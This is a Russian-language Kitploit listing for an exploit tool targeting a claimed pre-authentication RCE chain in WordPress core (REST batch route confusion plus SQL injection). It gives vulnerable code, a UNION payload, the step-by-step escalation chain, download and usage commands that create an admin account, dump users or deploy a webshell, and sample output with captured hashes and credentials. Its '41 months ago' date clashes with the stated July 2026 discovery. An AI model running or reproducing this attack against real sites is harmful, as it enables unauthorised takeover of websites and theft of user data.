Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-63030 — RCE в ядре WordPress без предварительной аутентификации через путаницу маршрутов REST Batch + SQLi (CVE-2026-63030 + CVE-2026-60137) | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-63030
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubshinthink/cve-2026-63030

CVE-2026-63030

RCE в ядре WordPress без предварительной аутентификации через путаницу маршрутов REST Batch + SQLi (CVE-2026-63030 + CVE-2026-60137)

Репозиторий
41 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-63030 + CVE-2026-60137 — WP2Shell

RCE без аутентификации в ядре WordPress через путаницу пакетных маршрутов REST + SQLi


Обзор

CVE-2026-63030 (CVSS 9.8) и CVE-2026-60137 (CVSS 9.1) образуют критическую цепочку удалённого выполнения кода без аутентификации в ядре WordPress. Уязвимости затрагивают все стандартные установки WordPress версий 6.9.0–6.9.4 и 7.0.0–7.0.1.

Цепочка была автономно обнаружена GPT-5.6 Sol Ultra (OpenAI) чуть более чем за 10 часов при затратах ~$25 — класс уязвимости, оцениваемый в на рынках брокеров эксплойтов.

$500 000

Неаутентифицированный злоумышленник достигает RCE следующим образом:

  1. Путаница пакетных маршрутов REST (CVE-2026-63030) — рассинхронизация внутренних массивов «обработчик-запрос» WordPress
  2. SQL-инъекция через author__not_in (CVE-2026-60137) — обход санитизации absint() с помощью скалярной строки
  3. Отравление кэша через UNION SELECT — создание 7 поддельных объектов WP_Post в памяти
  4. Закрепление через oEmbed — преобразование SQLi «только для чтения» в реальные записи в базу данных
  5. Перехват customize_changeset — временное получение прав администратора
  6. Повторный вход в хук parse_request — повторный запуск REST API с повышенными привилегиями
  7. POST /wp/v2/users от имени администратора — создание новой учётной записи администратора

Активных установок: 472+ миллиона (43% всех веб-сайтов)
Обнаружено: GPT-5.6 Sol Ultra через Adam Kues (Searchlight Cyber), июль 2026
PoC цепочки: Mustafa Can İPEKÇİ (nukedx)
Патч: WordPress 6.9.5 / 7.0.2 / 6.8.6 (17 июля 2026)

Затронутые версии

ВеткаУязвимыеИсправлено
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2
6.8.xТолько SQLi (CVE-2026-60137)6.8.6

Механизм уязвимости

Первопричина 1: Путаница пакетных маршрутов (CVE-2026-63030)

Пакетный процессор REST в WordPress (serve_batch_request_v1) ведёт два массива: $validation[] (результаты проверки) и $matches[] (обработчики маршрутов). Когда wp_parse_url() завершается с ошибкой на некорректном пути (///), объект WP_Error добавляется в цепочку проверки, но не в цепочку сопоставления маршрутов:

root@kitploit:~
// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
    $requests[] = new WP_Error( 'parse_path_failed', ... );
    continue;  // ← SKIPS $matches[] — desync by one index
}

Эксплойт использует вложенные (рекурсивные) пакетные вызовы для обхода как ограничений методов, так и санитизации параметров.

Первопричина 2: SQL-инъекция через author__not_in (CVE-2026-60137)

WP_Query применяет санитизацию absint() только внутри ветки is_array(). Когда author__not_in приходит в виде скалярной строки, санитизация полностью пропускается:

root@kitploit:~
// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );  // ONLY if array
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );  // scalar passes raw
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";     // SQL INJECTION
}

Полезная нагрузка: 0) UNION ALL SELECT ...-- - закрывает список NOT IN и добавляет произвольный SQL.

Цепочка повышения привилегий

root@kitploit:~
[1] Batch desync → bypass auth + param checks
[2] UNION SELECT → forge 7 fake WP_Post objects in cache
    ├─ Trigger post    — [embed] shortcode
    ├─ Changeset post  — post_type=customize_changeset, post_status=future
    ├─ Outer partner   — post_parent=changeset (Loop 1)
    ├─ oEmbed target   — cache backing
    ├─ Nav menu item   — post_type=nav_menu_item
    ├─ Request post    — post_type=request, post_status=parse (Loop 2)
    └─ Inner partner   — post_parent=request
[3] oEmbed processing → wp_update_post() → hierarchy cycle detection
[4] Loop 1 fix → writes changeset to DB without overwriting post_content
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Loop 2 fix → writes request post → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → batch replayed as ADMIN
[8] POST /wp/v2/users → administrator created

Предварительные условия для полного RCE

ТребованиеЗачем?По умолчанию?
Минимум 1 опубликованная записьЗаполняет кэш oEmbed loopback-адресами✅ "Hello World"
Нет постоянного объектного кэшаСтроки UNION не должны отбрасываться с помощью split_the_query✅ Файловый кэш
Доступный REST APIПовторный вход через parse_request требует REST-сервер✅
Прямая запись в файловую системуЗагрузка плагина требует FS_METHOD=direct✅ У большинства хостингов

Установка

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt  # or: nothing — stdlib only

Использование

root@kitploit:~
# Full chain — create admin account (pre-auth)
python3 cve_2026_63030.py --url https://target.com

# Check only (non-destructive — verify vulnerability)
python3 cve_2026_63030.py --url https://target.com --check

# Full chain + deploy RCE webshell
python3 cve_2026_63030.py --url https://target.com --rce id

# Dump all users via UNION extraction
python3 cve_2026_63030.py --url https://target.com --dump-users

Вывод

root@kitploit:~
+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  https://target.com
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi — database reconnaissance
  [+] Database version  : 8.0.46
  [+] Database user     : wp_user@localhost
  [+] Database name     : wordpress_db
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash        : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [6, 7, 8]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_a1b2c3d4  password: Wp2!e5f6g7h8i9j0

+======================================================================+
|  EXPLOITATION COMPLETE                                               |
+======================================================================+
  Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
  Login : https://target.com/wp-login.php

Файлы

ФайлНазначение
cve_2026_63030.pyЭксплойт для одной цели (без зависимостей)
requirements.txtЗависимости Python (не требуются)

Ссылки

  • SLCyber — разбор обнаружения GPT-5.6 Sol
  • WordPress.org — Выпуск обновления безопасности
  • Wiz — Эксплуатация в дикой природе
  • Tenable — Часто задаваемые вопросы (FAQ)

Отказ от ответственности

Только для авторизованного тестирования безопасности и образовательных исследований. Авторы не несут ответственности за неправомерное использование.

Скачать инструмент